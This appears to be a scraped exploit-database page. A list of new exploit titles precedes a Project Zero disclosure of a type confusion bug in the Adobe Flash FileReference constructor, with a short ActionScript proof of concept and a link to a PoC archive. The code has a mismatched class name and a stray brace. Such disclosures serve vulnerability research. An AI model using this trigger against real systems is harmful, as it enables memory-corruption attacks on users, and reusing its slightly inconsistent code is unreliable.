6dc4d46521
16 new exploits Meteocontrol WEB’log - Admin Password Disclosure Cisco ASA Software 8.x / 9.x - IKEv1 and IKEv2 Buffer Overflow Adobe Flash - JXR Processing Out-of-Bounds Read Adobe Flash - Out-of-Bounds Read when Placing Object Adobe Flash - Overflow in Processing Raw 565 Textures Adobe Flash - Heap Overflow in ATF Processing (Image Reading) Adobe Flash - MP4 File Stack Corruption Adobe Flash - Type Confusion in FileReference Constructor Adobe Flash - addProperty Use-After-Free Adobe Flash - SetNative Use-After-Free Windows - gdi32.dll Multiple Issues in the EMF CREATECOLORSPACEW Record Handling (MS16-055) Windows - gdi32.dll Multiple Issues in the EMF COMMENT_MULTIFORMATS Record Handling (MS16-055) Windows - gdi32.dll Heap-Based Buffer Overflow in ExtEscape() Triggerable via EMR_EXTESCAPE EMF Record (MS16-055) Symantec/Norton Antivirus - ASPack Remote Heap/Pool Memory Corruption Vulnerability Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection SAP xMII 15.0 - Directory Traversal
34 lines
1 KiB
Text
Executable file
34 lines
1 KiB
Text
Executable file
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799
|
|
|
|
There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.
|
|
|
|
A minimal PoC is as follows:
|
|
|
|
function myfunc(){
|
|
|
|
this.__proto__ = {};
|
|
this.__proto__.__constructor__ = flash.display.BitmapData;
|
|
super(1000, 1000);
|
|
|
|
|
|
}
|
|
|
|
|
|
function mysubclass(){
|
|
|
|
|
|
this.watch("name", myfunc);
|
|
_global.ASnative(2204, 200)(this); // FileReference constructor
|
|
this.unwatch("name"); // let the reference free
|
|
|
|
}
|
|
}
|
|
|
|
var a = new subclass();
|
|
a = 0;
|
|
// wait for GC
|
|
|
|
|
|
Proof of Concept:
|
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39829.zip
|
|
|